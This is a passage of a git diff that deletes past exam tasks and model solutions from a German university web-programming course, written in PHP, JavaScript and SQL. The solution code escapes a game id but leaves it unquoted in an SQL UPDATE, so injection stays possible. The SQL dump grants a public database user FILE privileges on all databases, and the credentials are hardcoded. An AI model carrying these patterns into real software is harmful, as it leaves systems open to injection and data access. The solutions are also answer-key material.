-    // Ende Aufgabe 4a) *******************
-}
-
-function processNews(data) { // Aufgabe 4d
-    "use strict";
-    let dataObject = JSON.parse(data);
-    let newsSection = document.getElementById("news");
-
-    // delete all existing news
-    while (newsSection.firstChild) {
-        newsSection.removeChild(newsSection.lastChild);
-    }
-
-    // insert news from JSON
-    for (let i = 0; i < dataObject.length; i++) {
-        let row = dataObject[i];
-        if (newsSection && row.title && row.text && row.timestamp) {
-            let article = createDOM(row);
-            newsSection.appendChild(article);
-        }
-    }
-}
-
-function createDOM(row) {
-    "use strict";
-    let newsEntry = document.createElement("article"); // Aufgabe 4c.1
-
-    let title = document.createElement("h3"); // Aufgabe 4c.2
-    let textNodeTitle = document.createTextNode(row.title);
-    title.appendChild(textNodeTitle);
-
-    let time = document.createElement("p"); // Aufgabe 4c.3
-    time.className = "timestamp";
-    let textNodeTime = document.createTextNode(row.timestamp);
-    time.appendChild(textNodeTime);
-
-    let text = document.createElement("p"); // Aufgabe 4c.4
-    let textNodeText = document.createTextNode(row.text);
-
-    text.appendChild(textNodeText);
-    newsEntry.appendChild(title);
-    newsEntry.appendChild(time);
-    newsEntry.appendChild(text);
-    return newsEntry;
-}
diff --git a/src/Klausuren/20SS/news.php b/src/Klausuren/20SS/news.php
deleted file mode 100644
index 6ec8bda33d1eeb69c7abc7333e226114e6316f49..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/news.php
+++ /dev/null
@@ -1,155 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-require_once './Page.php';
-
-class DBException extends Exception
-{
-}
-
-class News extends Page
-{
-    private $JSON = false;
-
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData()
-    {
-        // Aufgabe 3a ***********************************
-        $news = array();
-        $sql = "SELECT id, title, text, timestamp FROM news ORDER BY timestamp DESC";
-        $recordset = $this->db->query($sql);
-        if (!$recordset) {
-            throw new DBException("Fehler in Abfrage: " . $this->db->error);
-        }
-        while ($record = $recordset->fetch_assoc()) {
-            // Aufgabe 3c) ****************************
-            $record["timestamp"] = $this->getLocalizedDate($record["timestamp"]);    // 3c)
-            // Ende Aufgabe 3c) **********************
-            $news[] = $record;
-        }
-        $recordset->free();
-        // Ende Aufgabe 3a ***********************************
-        return $news;
-    }
-
-    protected function generateView()
-    {
-        // Aufgabe 3e ***********************************
-        if ($this->JSON) {
-            $this->generateJSONView();
-        } else {
-            $this->generateHTMLView();
-        }
-        // Ende Aufgabe 3e ******************************
-    }
-
-    protected function generateHTMLView()
-    {
-        $this->generatePageHeader("News");
-
-        echo <<<EOT
-
-  <!-- Aufgabe 1 **************************************** -->
-  <body onload="pollNews();"> <!-- onload für Aufgabe 4b -->
-      <header>
-        <h1>Meine Zeitung</h1>
-        <img src="logo.png" alt="fbi logo" />
-    </header>
-    <nav>
-        <ul>
-            <li>Home</li>
-            <li>Mediathek</li>
-            <li>Politik</li>
-            <li>Sport</li>
-        </ul>
-    </nav>
-	
-	<section>
-	<h2>News-Ticker</h2>
-	<div id="news"></div>
-	</section>
-
-    <section>
-	  <h2>Ihre News</h2>
-		<form action="news.php" method="post" accept-charset="UTF-8">
-			<div class="formular">
-			<input type="text" name="Titel" placeholder="Titel Ihrer News" value="" tabindex="1"/>
-			<textarea name="Text" placeholder="Ihre News" tabindex="2" accesskey="n"></textarea>
-			<input type="submit" value="Absenden" tabindex="-1"/>
-		</div>
-		</form>
-	</section>
-	
-	<footer><p>&copy; Fachbereich Informatik</p></footer>
-	
-	</body>	
-	<!-- Ende Aufgabe 1 **************************************** -->
-	
-EOT;
-        $this->generatePageFooter();
-
-    }
-
-    protected function generateJSONView()
-    {
-        // Aufgabe 3b ***********************************
-        header("Content-Type: application/json; charset=UTF-8");
-        $news = $this->getViewData();
-        $serializedData = json_encode($news);
-        echo $serializedData;
-        // Ende Aufgabe 3b ******************************
-    }
-
-    protected function processReceivedData()
-    {
-        // Aufgabe 2 ****************************************
-        parent::processReceivedData();
-        // Aufgabe 3d *************************
-        if (isset($_GET["JSON"])) {
-            $this->JSON = true;
-        }
-        // Ende Aufgabe 3d *************************
-        if (isset($_POST["Titel"]) && isset($_POST["Text"])) {
-            $titel = $this->db->real_escape_string($_POST["Titel"]);
-            $text = $this->db->real_escape_string($_POST["Text"]);
-            $sql = "INSERT INTO news (title, text) values ('$titel','$text');";
-            if (!$this->db->query($sql)) {
-                throw new DBException("Insert failed: " . $this->db->error);
-            }
-            header('Location:news.php'); // löst POST-Blockade; nicht gefordert für die Klausur
-        }
-        // Ende Aufgabe 2 **********************************
-    }
-
-    protected function getLocalizedDate($date)
-    {
-        $date = new DateTime($date);
-        if (strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], "de-DE") > -1) {
-            return $date->format("d.m.Y H:i:s");
-        } else { // English as default
-            return $date->format("Y/m/d H:i:s");
-        }
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new News();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-News::main();
-
diff --git a/src/Klausuren/21SS/Aufgabe/.gitignore b/src/Klausuren/21SS/Aufgabe/.gitignore
deleted file mode 100644
index 547b09e442e036033d5c77c4fca32ada86003b5f..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/.gitignore
+++ /dev/null
@@ -1,113 +0,0 @@
-#
-# Project specific excludes
-#
-
-tomcat
-
-#
-# Default excludes
-#
-
-# Binaries
-*.7z
-*.dmg
-*.gz
-*.iso
-*.jar
-*.rar
-*.tar
-*.war
-*.ear
-*.sar
-*.class
-
-# Maven 
-target/
-
-# IntelliJ project files 
-*.iml
-*.iws
-*.ipr
-.idea/
-
-# eclipse project file
-.settings/
-.classpath
-.project
-
-# NetBeans specific
-nbproject/private/
-build/
-nbbuild/
-dist/
-nbdist/
-nbactions.xml
-nb-configuration.xml
-
-
-# OS
-.DS_Store
-
-# Misc
-*.swp
-release.properties
-pom.xml.releaseBackup
-pom.xml.tag
-
-# Microsoft Code
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-*.code-workspace
-
-# Local History for Visual Studio Code
-.history/
-
-# Logs and databases #
-######################
-*.log
-*.sqlite
- 
-# OS generated files #
-######################
-.DS_Store?
-ehthumbs.db
-Icon?
-Thumbs.db
-*.DS_Store
- 
-# Xcode
-*.pbxuser
-*.mode1v3
-*.mode2v3
-*.perspectivev3
-*.xcuserstate
-project.xcworkspace/
-xcuserdata/
- 
- 
-# IDE
-*.idea
-*.iml
- 
-# Generated files
-/web-app/WEB-INF
-build/
-*.[oa]
-*.pyc
- 
-# Other source repository archive directories (protects when importing)
-.hg
-.svn
-CVS
- 
-# automatic backup files
-*~.nib
-*.swp
-*~
-*(Autosaved).rtfd/
-Backup[ ]of[ ]*.pages/
-Backup[ ]of[ ]*.key/
-Backup[ ]of[ ]*.numbers/
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Aufgabe/21-TeamSport.sql b/src/Klausuren/21SS/Aufgabe/21-TeamSport.sql
deleted file mode 100644
index eb8ce769974ee730641ab903282257ddd7f619ca..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/21-TeamSport.sql
+++ /dev/null
@@ -1,90 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.1.0
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 15. Jul 2021 um 10:15
--- Server-Version: 10.5.9-MariaDB-1:10.5.9+maria~focal
--- PHP-Version: 7.4.16
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `2021_TeamSport`
---
-CREATE DATABASE IF NOT EXISTS `2021_TeamSport` DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
-USE `2021_TeamSport`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `gameDetails`
---
-
-DROP TABLE IF EXISTS `gameDetails`;
-CREATE TABLE IF NOT EXISTS `gameDetails` (
-  `id` int(11) NOT NULL AUTO_INCREMENT,
-  `gameId` int(11) NOT NULL,
-  `name` varchar(30) COLLATE utf8_unicode_ci NOT NULL,
-  PRIMARY KEY (`id`),
-  KEY `gameDetails_ibfk_1` (`gameId`)
-) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `gameDetails`
---
-
-INSERT INTO `gameDetails` (`id`, `gameId`, `name`) VALUES
-(1, 1, 'Hanna'),
-(2, 1, 'Eva');
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `games`
---
-
-DROP TABLE IF EXISTS `games`;
-CREATE TABLE IF NOT EXISTS `games` (
-  `id` int(11) NOT NULL AUTO_INCREMENT,
-  `datetime` datetime NOT NULL,
-  `opposingTeam` varchar(50) NOT NULL,
-  `status` int(11) NOT NULL,
-  PRIMARY KEY (`id`)
-) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4;
-
---
--- Daten für Tabelle `games`
---
-
-INSERT INTO `games` (`id`, `datetime`, `opposingTeam`, `status`) VALUES
-(1, '2021-08-18 12:00:00', 'TG 75 Darmstadt', 1),
-(2, '2021-08-25 10:00:00', 'TSG Darmstadt', 0),
-(3, '2021-06-15 13:00:00', 'Darmstadt 98', 3);
-
---
--- Constraints der exportierten Tabellen
---
-
---
--- Constraints der Tabelle `gameDetails`
---
-ALTER TABLE `gameDetails`
-  ADD CONSTRAINT `gameDetails_ibfk_1` FOREIGN KEY (`gameId`) REFERENCES `games` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
-
--- REVOKE ALL PRIVILEGES ON *.* FROM 'public'@'%'; 
--- REVOKE GRANT OPTION ON *.* FROM 'public'@'%'; 
-GRANT SELECT, INSERT, UPDATE, DELETE, FILE ON *.* TO 'public'@'%' REQUIRE NONE WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0; 
diff --git a/src/Klausuren/21SS/Aufgabe/Aufgabe.zip b/src/Klausuren/21SS/Aufgabe/Aufgabe.zip
deleted file mode 100644
index f396b920e34ddac4ca3d0acbd4096bd5a5af3944..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/21SS/Aufgabe/Aufgabe.zip and /dev/null differ
diff --git a/src/Klausuren/21SS/Aufgabe/Exam21.css b/src/Klausuren/21SS/Aufgabe/Exam21.css
deleted file mode 100644
index 314924afe759bb5e33683ec76ae95c96d46d362f..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/Exam21.css
+++ /dev/null
@@ -1 +0,0 @@
-/* Put your CSS code here! */
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Aufgabe/Exam21.js b/src/Klausuren/21SS/Aufgabe/Exam21.js
deleted file mode 100644
index 7fab6d45b184d72b3247db687eb7e658e8ec745e..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/Exam21.js
+++ /dev/null
@@ -1,20 +0,0 @@
-let request = new XMLHttpRequest();
-
-function requestData() { // fordert die Daten asynchron an
-    "use strict";
-    //ToDo - vervollständigen **************
-    request.onreadystatechange = processData;
-    request.send(null);
-}
-
-function processData() {
-    "use strict";
-    if (request.readyState === 4) { // Uebertragung = DONE
-        if (request.status === 200) { // HTTP-Status = OK
-            if (request.responseText != null)
-               ;//ToDo - vervollständigen ************
-            else console.error("Dokument ist leer");
-        } else console.error("Uebertragung fehlgeschlagen");
-    } // else; // Uebertragung laeuft noch
-}
-
diff --git a/src/Klausuren/21SS/Aufgabe/Exam21.php b/src/Klausuren/21SS/Aufgabe/Exam21.php
deleted file mode 100644
index 96e6411eb688fb9276e7eebe1ec41e20d513ec24..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/Exam21.php
+++ /dev/null
@@ -1,51 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Exam21 extends Page
-{
-
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData():array
-    {
-
-    }
-
-    protected function generateView():void
-    {
-
-    }
-
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new Exam21();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-
-Exam21::main();
-
diff --git a/src/Klausuren/21SS/Aufgabe/Exam21API.php b/src/Klausuren/21SS/Aufgabe/Exam21API.php
deleted file mode 100644
index c91228435a241fa9ffa3349f63a8a4d470c6c70b..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/Exam21API.php
+++ /dev/null
@@ -1,48 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Exam21API extends Page
-{
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData():array
-    {
-    }
-
-    protected function generateView():void
-    {
-        header("Content-Type: application/json; charset=UTF-8");
-        $data = $this->getViewData();
-        $serializedData = json_encode($data);
-        echo $serializedData;
-    }
-
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new Exam21API();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Exam21API::main();
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Aufgabe/Logo.png b/src/Klausuren/21SS/Aufgabe/Logo.png
deleted file mode 100644
index 33098cf5126fb00080514d73a730814a0ccde93b..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/21SS/Aufgabe/Logo.png and /dev/null differ
diff --git a/src/Klausuren/21SS/Aufgabe/Page.php b/src/Klausuren/21SS/Aufgabe/Page.php
deleted file mode 100644
index 90f72d4b9b526360ff7666c03d1ba2e41462bc11..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/Page.php
+++ /dev/null
@@ -1,134 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Page for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Page.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.0
- */
-
-/**
- * This abstract class is a common base class for all
- * HTML-pages to be created.
- * It manages access to the database and provides operations
- * for outputting header and footer of a page.
- * Specific pages have to inherit from that class.
- * Each derived class can use these operations for accessing the database
- * and for creating the generic parts of a HTML-page.
- *
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-abstract class Page
-{
-    // --- ATTRIBUTES ---
-
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $_database;
-
-    // --- OPERATIONS ---
-
-    /**
-     * Connects to DB and stores
-     * the connection in member $_database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "localhost";
-        /********************************************/
-        // This code switches from the the local installation (XAMPP) to the docker installation 
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        /********************************************/
-
-        $this->_database = new MySQLi($host, "public", "public", "2021_TeamSport"); //NOSONAR ignore hardcoded password
-
-        if ($this->_database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->_database->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-        $this->_database->close();
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param $title $title is the text to be used as title of the page
-	 * @return void
-     */
-    protected function generatePageHeader(string $title = ""):void
-    {
-        $title = htmlspecialchars($title);
-        header("Content-type: text/html; charset=UTF-8");
-
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">  
-  <head>
-    <meta charset="UTF-8" />
-	<title>$title</title>
-	<link rel="stylesheet" href="Exam21.css">
-    <script src="Exam21.js"> </script>
-  </head>
-EOT;
-
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-	 * @return void
-     */
-    protected function generatePageFooter():void
-    {
-        echo "</html>";
-    }
-
-    /**
-     * Processes the data that comes in via GET or POST.
-     * If every derived page is supposed to do something common
-	 * with submitted data do it here. 
-	 * E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Aufgabe/Readme.txt b/src/Klausuren/21SS/Aufgabe/Readme.txt
deleted file mode 100644
index faf600b75b8328875bd29cd26e0bb085c888549e..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/Readme.txt
+++ /dev/null
@@ -1 +0,0 @@
-Hier können Textaufgaben beantwortet werden!
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Aufgabe/_21SS_Klausur_EWA.pdf b/src/Klausuren/21SS/Aufgabe/_21SS_Klausur_EWA.pdf
deleted file mode 100644
index 8219f0c588fd79ce62703646f34f50cd488db14f..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/21SS/Aufgabe/_21SS_Klausur_EWA.pdf and /dev/null differ
diff --git a/src/Klausuren/21SS/Aufgabe/_Eigenstaendigkeitserklaerung.pdf b/src/Klausuren/21SS/Aufgabe/_Eigenstaendigkeitserklaerung.pdf
deleted file mode 100644
index 05aee49908e5d7162050353bad69db024595c6b8..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/21SS/Aufgabe/_Eigenstaendigkeitserklaerung.pdf and /dev/null differ
diff --git a/src/Klausuren/21SS/Aufgabe/__Readme.txt b/src/Klausuren/21SS/Aufgabe/__Readme.txt
deleted file mode 100644
index 08fbf81dad94a4fb4b371fbee54a7328dca53928..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Aufgabe/__Readme.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-Dieser Ordner enthält die Dateien, die zum Zeitpunkt der Klausur im Repo bereitstanden bzw. verteilt wurden (Aufgabe und SQL-Skript).
-Das SQL-Skript ist in diesem Docker-Setup bereits importiert und muss nicht erneut importiert werden.
-
-In diesem Verzeichnis können Sie die alte Klausur als Probeklausur zur Vorbereitung lösen.
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/.gitignore b/src/Klausuren/21SS/Loesung/.gitignore
deleted file mode 100644
index 547b09e442e036033d5c77c4fca32ada86003b5f..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/.gitignore
+++ /dev/null
@@ -1,113 +0,0 @@
-#
-# Project specific excludes
-#
-
-tomcat
-
-#
-# Default excludes
-#
-
-# Binaries
-*.7z
-*.dmg
-*.gz
-*.iso
-*.jar
-*.rar
-*.tar
-*.war
-*.ear
-*.sar
-*.class
-
-# Maven 
-target/
-
-# IntelliJ project files 
-*.iml
-*.iws
-*.ipr
-.idea/
-
-# eclipse project file
-.settings/
-.classpath
-.project
-
-# NetBeans specific
-nbproject/private/
-build/
-nbbuild/
-dist/
-nbdist/
-nbactions.xml
-nb-configuration.xml
-
-
-# OS
-.DS_Store
-
-# Misc
-*.swp
-release.properties
-pom.xml.releaseBackup
-pom.xml.tag
-
-# Microsoft Code
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-*.code-workspace
-
-# Local History for Visual Studio Code
-.history/
-
-# Logs and databases #
-######################
-*.log
-*.sqlite
- 
-# OS generated files #
-######################
-.DS_Store?
-ehthumbs.db
-Icon?
-Thumbs.db
-*.DS_Store
- 
-# Xcode
-*.pbxuser
-*.mode1v3
-*.mode2v3
-*.perspectivev3
-*.xcuserstate
-project.xcworkspace/
-xcuserdata/
- 
- 
-# IDE
-*.idea
-*.iml
- 
-# Generated files
-/web-app/WEB-INF
-build/
-*.[oa]
-*.pyc
- 
-# Other source repository archive directories (protects when importing)
-.hg
-.svn
-CVS
- 
-# automatic backup files
-*~.nib
-*.swp
-*~
-*(Autosaved).rtfd/
-Backup[ ]of[ ]*.pages/
-Backup[ ]of[ ]*.key/
-Backup[ ]of[ ]*.numbers/
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/Exam21.css b/src/Klausuren/21SS/Loesung/Exam21.css
deleted file mode 100644
index 21dd0df646e0b64aa50bafc1cd9e99b7ca30c4b1..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/Exam21.css
+++ /dev/null
@@ -1,69 +0,0 @@
-/* a */
-/* b */
-table tr td th {
-    background-color: lightgray;
-    padding: 1em;
-}
-
-/* c */
-#players {
-    color: #fff;
-    background-color: #40785e;
-    padding:0.3em;
-}
-
-/* d */
-header img {
-    float: left;
-	height: 2em;
-}
-/* ************* CSS - das nicht in der Klausur gefragt war ************** */
-* {
-    padding: 0;
-    margin: 0;
-}
-table {
-    margin-left: auto;
-    margin-right: auto;
-}
-table tr th {
-    background-color: darkblue;
-    color: ghostwhite;
-}
-body {
-    font-family: Roboto, sans-serif;
-    color: black;
-    background-color: #F2F2F2;
-    padding:1em;
-    width: 50em;
-}
-
-section {
-    margin-top: 1em;
-    margin-bottom: 1em;
-    line-height:2em;
-    padding: 1em;
-    border-radius: 1em;
-    box-shadow: 0 .6em 1em rgba(0, 0, 0, 0.25);
-    text-align: center;
-}
-
-header {
-    padding: 2em;
-    text-align: center;
-    background: darkblue;
-    color: white;
-    font-size: 2em;
-}
-
-input[type='submit'] {
-    padding:1em;
-    font-weight: bold;
-    letter-spacing: .2em;
-}
-
-h3 {
-    font-size:1.5em;
-    margin:1em;
-    font-weight: normal;
-}
\ No newline at end of file
diff --git a/src/Klausuren/21SS/Loesung/Exam21.js b/src/Klausuren/21SS/Loesung/Exam21.js
deleted file mode 100644
index b07c727c5e3c72a884e9f3d2e145a99ba70026ec..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/Exam21.js
+++ /dev/null
@@ -1,38 +0,0 @@
-let request = new XMLHttpRequest();
-
-function requestData() { // fordert die Daten asynchron an
-    "use strict";
-    let gameId = document.getElementById("gameId").value;
-    request.open("GET", "Exam21API.php?gameId="+gameId);
-    request.onreadystatechange = processData;
-    request.send(null);
-}
-
-function processData() {
-    "use strict";
-    if (request.readyState === 4) { // Uebertragung = DONE
-        if (request.status === 200) { // HTTP-Status = OK
-            if (request.responseText != null)
-                updateView(request.responseText); // Daten verarbeiten
-            else console.error("Dokument ist leer");
-        } else console.error("Uebertragung fehlgeschlagen");
-    } // else; // Uebertragung laeuft noch
-}
-
-// Ende des gegebenen Codes
-
-
-function pollData() {
-    "use strict";
-    requestData();
-    window.setInterval(requestData, 5000);
-}
-
-function updateView(data) {
-    "use strict";
-    console.log(data);
-    let dataObject = JSON.parse(data)[0];
-    let players = document.getElementById("players");
-    players.firstChild.nodeValue = dataObject.playing;
-}
-
diff --git a/src/Klausuren/21SS/Loesung/Exam21.php b/src/Klausuren/21SS/Loesung/Exam21.php
deleted file mode 100644
index dea3f231ca803159a7cc77ae16b995b34ab8c5d7..0000000000000000000000000000000000000000
--- a/src/Klausuren/21SS/Loesung/Exam21.php
+++ /dev/null
@@ -1,203 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Exam21 extends Page
-{
-    // to do: declare reference variables for members 
-    // representing substructures/blocks
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-	 * @return array An array containing the requested data. 
-	 * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData():array
-    {
-        $data = array();
-        $sql = "SELECT id, datetime, opposingTeam, status FROM games order by datetime asc";
-        $recordset = $this->_database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Fehler in Abfrage: " . $this->_database->error);
-        }
-        while ($record = $recordset->fetch_assoc()) {
-            $data[] = $record;
-        }
-        $recordset->free();
-        return $data;
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $data = $this->getViewData(); // NOSONAR ignore unused $data
-
-		// just to be sure - escape all html-values...
-		for ($i = 0; $i < count($data); $i++) {			
-			foreach($data[$i] as $key => $value){
-				$data[$i][$key] = htmlspecialchars($value);
-			}
-		}
-		
-        $this->generatePageHeader("Spielplanung");
-        $nextGame = $this->generateNextGameSection($data);
-        echo <<<EOT
-        <body onload="pollData()">
-            <header>
-                <img alt="" src="logo.png" />
-                <h1>Spielplanung</h1>
-            </header>
-            $nextGame
-EOT;
-        $games = $this->generateGameTableRows($data);
-        echo <<<EOT
-            <section>
-            <h2>Spiele</h2>
-            <table>
-                <tr><th>Datum</th><th>Team</th><th>Status</th></tr>
-                $games
-            </table>
-            </section>
-        </body>
-EOT;
-        $this->generatePageFooter();
-    }
-
-    protected function generateGameTableRows(array $dataRows): string
-    {
-        $htmlRows = "";
-        foreach($dataRows as $row){
-            $htmlRows .= "<tr><td>" . $this->getFormattedDateTime($row["datetime"]) . "</td><td>" . $row["opposingTeam"] . "</td><td>". $this->getStatusTextToInt($row["status"]) . "</td></tr>\n";
-        }
-        return $htmlRows;
-    }
-
-    protected function generateNextGameSection(array $dataRows): string
-    {
-        foreach($dataRows as $row){
-            if ($row["status"] == 1 || $row["status"] == 2){
-                $gameId = $row["id"];
-                $nextGameInfo = $this->getFormattedDateTime($row["datetime"]) . " Uhr gegen " . $row["opposingTeam"];
-                return "<section><h2>$nextGameInfo</h2>"
-                    . '<h3>Zusagen Spieler:innen <span id="players">?</span></h3>'
-                    . '<form accept-charset="UTF-8" method="post"><input type="hidden" id="gameId" name="gameId" value="'
-                        . $gameId . '"><input type="submit" name="finishGame" value="Planung abschließen" /></form></section>';
-            }
-        }
-        return "<h2>kein aktuelles Spiel</h2>";
-    }
-
-    private function getStatusTextToInt(string $status):string
-    {
-        switch ($status) {
-            case "0":
-                $ret = "zukünftig";
-				break;
-            case "1":
-                $ret = "in Planung";
-				break;
-            case "2":
-                $ret = "Planung abgeschlossen";
-				break;
-            case "3":
-                $ret = "vorbei";
-				break;
-            default:
-                $ret = "unbekannter Status";				
-        }
-		return $ret;
-    }
-
-    private function getFormattedDateTime(string $date):string
-    {
-        $date = new DateTime($date);
-            return $date->format("d.m.Y H:i");
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        if (isset($_POST["finishGame"]) && isset($_POST["gameId"])){
-            $gameId = $this->_database->real_escape_string($_POST["gameId"]); //oder is_numeric prüfen
-            $sql = "UPDATE games set status = 2 WHERE id=$gameId AND status=1;";
-            if (!$this->_database->query($sql)) {
-                throw new Exception("Update failed: " . $this->_database->error);
-            }
-            header('Location:Exam21.php');
-            //header();
-            die();
-        }
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-	 * @return void
-     */
